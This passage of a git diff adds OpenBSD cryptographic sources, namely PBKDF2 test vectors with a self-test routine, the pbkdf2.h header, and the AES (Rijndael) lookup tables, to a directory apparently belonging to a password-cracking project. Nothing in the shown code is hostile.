0x0c, 0xd5, + 0x1b, 0x10, 0xe6, 0xa6, 0x87, 0x21, 0xbe, 0x61, + 0x1a, 0x8b, 0x4d, 0x28, 0x26, 0x01, 0xdb, 0x3b, + 0x36, 0xbe, 0x92, 0x46, 0x91, 0x5e, 0xc8, 0x2a + }, + }, { + 50, + "\360\235\204\236", /* g-clef (0xf09d849e) */ + "EXAMPLE.COMpianist", + { + 0x6b, 0x9c, 0xf2, 0x6d, 0x45, 0x45, 0x5a, 0x43, + 0xa5, 0xb8, 0xbb, 0x27, 0x6a, 0x40, 0x3b, 0x39, + 0xe7, 0xfe, 0x37, 0xa0, 0xc4, 0x1e, 0x02, 0xc2, + 0x81, 0xff, 0x30, 0x69, 0xe1, 0xe9, 0x4f, 0x52 + }, + } +}; +#define NVECS (sizeof(test_vectors) / sizeof(*test_vectors)) + +#include +#include + +static void +printhex(const char *s, const u_int8_t *buf, size_t len) +{ + size_t i; + + printf("%s: ", s); + for (i = 0; i < len; i++) + printf("%02x", buf[i]); + printf("\n"); + fflush(stdout); +} + +int +pbkdf2(int argc, char **argv) +{ + u_int i, j; + u_char result[32]; + struct test_vector *vec; + + for (i = 0; i < NVECS; i++) { + vec = &test_vectors[i]; + printf("vector %u\n", i); + for (j = 1; j < sizeof(result); j += 3) { + if (pkcs5_pbkdf2(vec->pass, strlen(vec->pass), + vec->salt, strlen(vec->salt), + result, j, vec->rounds) != 0) + errx(1, "pbkdf2 failed"); + if (memcmp(result, vec->expected, j) != 0) { + printhex(" got", result, j); + printhex("want", vec->expected, j); + return 1; + } + } + } + return 0; +} +#endif /* PBKDF2_MAIN */ diff --git a/crack/crack/bsdcrypto/pbkdf2.h b/crack/crack/bsdcrypto/pbkdf2.h new file mode 100644 index 0000000..2ee04c7 --- /dev/null +++ b/crack/crack/bsdcrypto/pbkdf2.h @@ -0,0 +1,24 @@ +/* $OpenBSD: pbkdf2.h,v 1.1 2008/06/14 06:28:27 djm Exp $ */ + +/*- + * Copyright (c) 2008 Damien Bergamini + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Password-Based Key Derivation Function 2 (PKCS #5 v2.0). + * Code based on IEEE Std 802.11-2007, Annex H.4.2. + */ +int pkcs5_pbkdf2(const char *, size_t, const char *, size_t, + u_int8_t *, size_t, u_int); diff --git a/crack/crack/bsdcrypto/rijndael.c b/crack/crack/bsdcrypto/rijndael.c new file mode 100644 index 0000000..59ab79f --- /dev/null +++ b/crack/crack/bsdcrypto/rijndael.c @@ -0,0 +1,1266 @@ +/* $OpenBSD: rijndael.c,v 1.19 2008/06/09 07:49:45 djm Exp $ */ + +/** + * rijndael-alg-fst.c + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include +//#include + +#include "rijndael.h" + +#undef FULL_UNROLL + +/* +Te0[x] = S [x].[02, 01, 01, 03]; +Te1[x] = S [x].[03, 02, 01, 01]; +Te2[x] = S [x].[01, 03, 02, 01]; +Te3[x] = S [x].[01, 01, 03, 02]; +Te4[x] = S [x].[01, 01, 01, 01]; + +Td0[x] = Si[x].[0e, 09, 0d, 0b]; +Td1[x] = Si[x].[0b, 0e, 09, 0d]; +Td2[x] = Si[x].[0d, 0b, 0e, 09]; +Td3[x] = Si[x].[09, 0d, 0b, 0e]; +Td4[x] = Si[x].[01, 01, 01, 01]; +*/ + +static const u32 Te0[256] = { + 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, + 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, + 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, + 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, + 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, + 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, + 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, + 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, + 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, + 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, + 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, + 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, + 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, + 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, + 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, + 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, + 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, + 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, + 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, + 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, + 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, + 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, + 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, + 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, + 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, + 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, + 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, + 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, + 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, + 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, + 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, + 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, + 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, + 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, + 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, + 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, + 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, + 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, + 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, + 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, + 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, + 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, + 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, + 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, + 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, + 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, + 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, + 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, + 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, + 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, + 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, + 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, + 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, + 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, + 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, + 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, + 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, + 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, + 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, + 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, + 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, + 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, + 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, + 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, +}; +static const u32 Te1[256] = { + 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, + 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, + 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, + 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, + 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, + 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, + 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, + 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, + 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, + 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, + 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, + 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, + 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, + 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, + 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, + 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, + 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, + 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, + 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, + 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, + 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, + 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, + 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, + 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, + 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, + 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, + 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, + 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, + 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, + 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, + 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, + 0x30201010U, 0x1ae5ffffU, 0x0efdf3f3U, 0x6dbfd2d2U, + 0x4c81cdcdU, 0x14180c0cU, 0x35261313U, 0x2fc3ececU, + 0xe1be5f5fU, 0xa2359797U, 0xcc884444U, 0x392e1717U, + 0x5793c4c4U, 0xf255a7a7U, 0x82fc7e7eU, 0x477a3d3dU, + 0xacc86464U, 0xe7ba5d5dU, 0x2b321919U, 0x95e67373U, + 0xa0c06060U, 0x98198181U, 0xd19e4f4fU, 0x7fa3dcdcU, + 0x66442222U, 0x7e542a2aU, 0xab3b9090U, 0x830b8888U, + 0xca8c4646U, 0x29c7eeeeU, 0xd36bb8b8U, 0x3c281414U, + 0x79a7dedeU, 0xe2bc5e5eU, 0x1d160b0bU, 0x76addbdbU, + 0x3bdbe0e0U, 0x56643232U, 0x4e743a3aU, 0x1e140a0aU, + 0xdb924949U, 0x0a0c0606U, 0x6c482424U, 0xe4b85c5cU, + 0x5d9fc2c2U, 0x6ebdd3d3U, 0xef43acacU, 0xa6c46262U, + 0xa8399191U, 0xa4319595U, 0x37d3e4e4U, 0x8bf27979U, + 0x32d5e7e7U, 0x438bc8c8U, 0x596e3737U, 0xb7da6d6dU, + 0x8c018d8dU, 0x64b1d5d5U, 0xd29c4e4eU, 0xe049a9a9U, + 0xb4d86c6cU, 0xfaac5656U, 0x07f3f4f4U, 0x25cfeaeaU, + 0xafca6565U, 0x8ef47a7aU, 0xe947aeaeU, 0x18100808U, + 0xd56fbabaU, 0x88f07878U, 0x6f4a2525U, 0x725c2e2eU, + 0x24381c1cU, 0xf157a6a6U, 0xc773b4b4U, 0x5197c6c6U, + 0x23cbe8e8U, 0x7ca1ddddU, 0x9ce87474U, 0x213e1f1fU, + 0xdd964b4bU, 0xdc61bdbdU, 0x860d8b8bU, 0x850f8a8aU, + 0x90e07070U, 0x427c3e3eU, 0xc471b5b5U, 0xaacc6666U, + 0xd8904848U, 0x05060303U, 0x01f7f6f6U, 0x121c0e0eU, + 0xa3c26161U, 0x5f6a3535U, 0xf9ae5757U, 0xd069b9b9U, + 0x91178686U, 0x5899c1c1U, 0x273a1d1dU, 0xb9279e9eU, + 0x38d9e1e1U, 0x13ebf8f8U, 0xb32b9898U, 0x33221111U, + 0xbbd26969U, 0x70a9d9d9U, 0x89078e8eU, 0xa7339494U, + 0xb62d9b9bU, 0x223c1e1eU, 0x92158787U, 0x20c9e9e9U, + 0x4987ceceU, 0xffaa5555U, 0x78502828U, 0x7aa5dfdfU, + 0x8f038c8cU, 0xf859a1a1U, 0x80098989U, 0x171a0d0dU, + 0xda65bfbfU, 0x31d7e6e6U, 0xc6844242U, 0xb8d06868U, + 0xc3824141U, 0xb0299999U, 0x775a2d2dU, 0x111e0f0fU, + 0xcb7bb0b0U, 0xfca85454U, 0xd66dbbbbU, 0x3a2c1616U, +}; +static const u32 Te2[256] = { + 0x63a5c663U, 0x7c84f87cU, 0x7799ee77U, 0x7b8df67bU, + 0xf20dfff2U, 0x6bbdd66bU, 0x6fb1de6fU, 0xc55491c5U, + 0x30506030U, 0x01030201U, 0x67a9ce67U, 0x2b7d562bU, + 0xfe19e7feU, 0xd762b5d7U, 0xabe64dabU, 0x769aec76U, + 0xca458fcaU, 0x829d1f82U, 0xc94089c9U, 0x7d87fa7dU, + 0xfa15effaU, 0x59ebb259U, 0x47c98e47U, 0xf00bfbf0U, + 0xadec41adU, 0xd467b3d4U, 0xa2fd5fa2U, 0xafea45afU, + 0x9cbf239cU, 0xa4f753a4U, 0x7296e472U, 0xc05b9bc0U, + 0xb7c275b7U, 0xfd1ce1fdU, 0x93ae3d93U, 0x266a4c26U, + 0x365a6c36U, 0x3f417e3fU, 0xf702f5f7U, 0xcc4f83ccU, + 0x345c6834U, 0xa5f451a5U, 0xe534d1e5U, 0xf108f9f1U, + 0x7193e271U, 0xd873abd8U, 0x31536231U, 0x153f2a15U, + 0x040c0804U, 0xc75295c7U, 0x23654623U, 0xc35e9dc3U, + 0x18283018U, 0x96a13796U, 0x050f0a05U, 0x9ab52f9aU, + 0x07090e07U, 0x12362412U, 0x809b1b80U, 0xe23ddfe2U, + 0xeb26cdebU, 0x27694e27U, 0xb2cd7fb2U, 0x759fea75U, + 0x091b1209U, 0x839e1d83U, 0x2c74582cU, 0x1a2e341aU, + 0x1b2d361bU, 0x6eb2dc6eU, 0x5aeeb45aU, 0xa0fb5ba0U, + 0x52f6a452U, 0x3b4d763bU, 0xd661b7d6U, 0xb3ce7db3U, + 0x297b5229U, 0xe33edde3U, 0x2f715e2fU, 0x84971384U, + 0x53f5a653U, 0xd168b9d1U, 0x00000000U, 0xed2cc1edU, + 0x20604020U, 0xfc1fe3fcU, 0xb1c879b1U, 0x5bedb65bU, + 0x6abed46aU, 0xcb468dcbU, 0xbed967beU, 0x394b7239U, + 0x4ade944aU, 0x4cd4984cU, 0x58e8b058U, 0xcf4a85cfU, + 0xd06bbbd0U, 0xef2ac5efU, 0xaae54faaU, 0xfb16edfbU, + 0x43c58643U, 0x4dd79a4dU, 0x33556633U, 0x85941185U, + 0x45cf8a45U, 0xf910e9f9U, 0x02060402U, 0x7f81fe7fU, + 0x50f0a050U, 0x3c44783cU, 0x9fba259fU, 0xa8e34ba8U, + 0x51f3a251U, 0xa3fe5da3U, 0x40c08040U, 0x8f8a058fU, + 0x92ad3f92U, 0x9dbc219dU, 0x38487038U, 0xf504f1f5U, + 0xbcdf63bcU, 0xb6c177b6U, 0xda75afdaU, 0x21634221U, + 0x10302010U, 0xff1ae5ffU, 0xf30efdf3U, 0xd26dbfd2U, + 0xcd4c81cdU, 0x0c14180cU, 0x13352613U, 0xec2fc3ecU, + 0x5fe1be5fU, 0x97a23597U, 0x44cc8844U, 0x17392e17U, + 0xc45793c4U, 0xa7f255a7U, 0x7e82fc7eU, 0x3d477a3dU, + 0x64acc864U, 0x5de7ba5dU, 0x192b3219U, 0x7395e673U, + 0x60a0c060U, 0x81981981U, 0x4fd19e4fU, 0xdc7fa3dcU, + 0x22664422U, 0x2a7e542aU, 0x90ab3b90U, 0x88830b88U, + 0x46ca8c46U, 0xee29c7eeU, 0xb8d36bb8U, 0x143c2814U, + 0xde79a7deU, 0x5ee2bc5eU, 0x0b1d160bU, 0xdb76addbU, + 0xe03bdbe0U, 0x32566432U, 0x3a4e743aU, 0x0a1e140aU, + 0x49db9249U, 0x060a0c06U, 0x246c4824U, 0x5ce4b85cU, + 0xc25d9fc2U, 0xd36ebdd3U, 0xacef43acU, 0x62a6c462U, + 0x91a83991U, 0x95a43195U, 0xe437d3e4U, 0x798bf279U, + 0xe732d5e7U, 0xc8438bc8U, 0x37596e37U, 0x6db7da6dU, + 0x8d8c018dU, 0xd564b1d5U, 0x4ed29c4eU, 0xa9e049a9U, + 0x6cb4d86cU, 0x56faac56U, 0xf407f3f4U, 0xea25cfeaU, + 0x65afca65U, 0x7a8ef47aU, 0xaee947aeU, 0x08181008U, + 0xbad56fbaU, 0x7888f078U, 0x256f4a25U, 0x2e725c2eU, + 0x1c24381cU, 0xa6f157a6U, 0xb4c773b4U, 0xc65197c6U, + 0xe823cbe8U, 0xdd7ca1ddU, 0x749ce874U, 0x1f213e1fU, + 0x4bdd964bU, 0xbddc61bdU, 0x8b860d8bU, 0x8a850f8aU, + 0x7090e070U, 0x3e427c3eU, 0xb5c471b5U, 0x66aacc66U, + 0x48d89048U, 0x03050603U, 0xf601f7f6U, 0x0e121c0eU, + 0x61a3c261U, 0x355f6a35U, 0x57f9ae57U, 0xb9d069b9U, + 0x86911786U, 0xc15899c1U, 0x1d273a1dU, 0x9eb9279eU, + 0xe138d9e1U, 0xf813ebf8U, 0x98b32b98U, 0x11332211U, + 0x69bbd269U, 0xd970a9d9U, 0x8e89078eU, 0x94a73394U, + 0x9bb62d9bU, 0x1e223c1eU, 0x87921587U, 0xe920c9e9U, + 0xce4987ceU, 0x55ffaa55U, 0x28785028U, 0xdf7aa5dfU, + 0x8c8f038cU, 0xa1f859a1U, 0x89800989U, 0x0d171a0dU, + 0xbfda65bfU, 0xe631d7e6U, 0x42c68442U, 0x68b8d068U, + 0x41c38241U, 0x99b02999U, 0x2d775a2dU, 0x0f111e0fU, + 0xb0cb7bb0U, 0x54fca854U, 0xbbd66dbbU, 0x163a2c16U, +}; +static const u32 Te3[256] = { + 0x6363a5c6U, 0x7c7c84f8U, 0x777799eeU, 0x7b7b8df6U, + 0xf2f20dffU, 0x6b6bbdd6U, 0x6f6fb1deU, 0xc5c55491U, + 0x30305060U, 0x01010302U, 0x6767a9ceU, 0x2b2b7d56U, + 0xfefe19e7U, 0xd7d762b5U, 0xababe64dU, 0x76769aecU, + 0xcaca458fU, 0x82829d1fU, 0xc9c94089U, 0x7d7d87faU, + 0xfafa15efU, 0x5959ebb2U, 0x4747c98eU, 0xf0f00bfbU, + 0xadadec41U, 0xd4d467b3U, 0xa2a2fd5fU, 0xafafea45U, + 0x9c9cbf23U, 0xa4a4f753U, 0x727296e4U, 0xc0c05b9bU, + 0xb7b7c275U, 0xfdfd1ce1U, 0x9393ae3dU, 0x26266a4cU, + 0x36365a6cU, 0x3f3f417eU, 0xf7f702f5U, 0xcccc4f83U, + 0x34345c68U, 0xa5a5f451U, 0xe5e534d1U, 0xf1f108f9U, + 0x717193e2U, 0xd8d873abU, 0x31315362U, 0x15153f2aU, + 0x04040c08U, 0xc7c75295U, 0x23236546U, 0xc3c35e9dU, + 0x18182830U, 0x9696a137U, 0x05050f0aU, 0x9a9ab52fU, + 0x0707090eU, 0x12123624U, 0x80809b1bU, 0xe2e23ddfU, + 0xebeb26cdU, 0x2727694eU, 0xb2b2cd7fU, 0x75759feaU, + 0x09091b12U, 0x83839e1dU, 0x2c2c7458U, 0x1a1a2e34U, + 0x1b1b2d36U, 0x6e6eb2dcU, 0x5a5aeeb4U, 0xa0a0fb5bU, + 0x5252f6a4U, 0x3b3b4d76U, 0xd6d661b7U, 0xb3b3ce7dU, + 0x29297b52U, 0xe3e33eddU, 0x2f2f715eU, 0x84849713U, + 0x5353f5a6U, 0xd1d168b9U, 0x00000000U, 0xeded2cc1U, + 0x20206040U, 0xfcfc1fe3U, 0xb1b1c879U, 0x5b5bedb6U, + 0x6a6abed4U, 0xcbcb468dU, 0xbebed967U, 0x39394b72U, + 0x4a4ade94U, 0x4c4cd498U, 0x5858e8b0U, 0xcfcf4a85U, + 0xd0d06bbbU, 0xefef2ac5U, 0xaaaae54fU, 0xfbfb16edU, + 0x4343c586U, 0x4d4dd79aU, 0x33335566U, 0x85859411U, + 0x4545cf8aU, 0xf9f910e9U, 0x02020604U, 0x7f7f81feU, + 0x5050f0a0U, 0x3c3c4478U, 0x9f9fba25U, 0xa8a8e34bU, + 0x5151f3a2U, 0xa3a3fe5dU, 0x4040c080U, 0x8f8f8a05U, + 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, + 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, + 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, + 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, + 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, + 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, + 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, + 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, + 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, + 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, + 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, + 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, + 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, + 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, + 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, + 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, + 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, + 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, + 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, + 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, + 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, + 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, + 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, + 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, + 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, + 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, + 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, + 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, + 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, + 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, + 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, + 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, + 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, + 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, + 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, +}; +static const u32 Te4[256] = { + 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, + 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, + 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, + 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, + 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, + 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, + 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, + 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, + 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, + 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, + 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, + 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, + 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, + 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, + 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, + 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, + 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, + 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, + 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, + 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, + 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, + 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, + 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, + 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, + 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, + 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, + 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, + 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, + 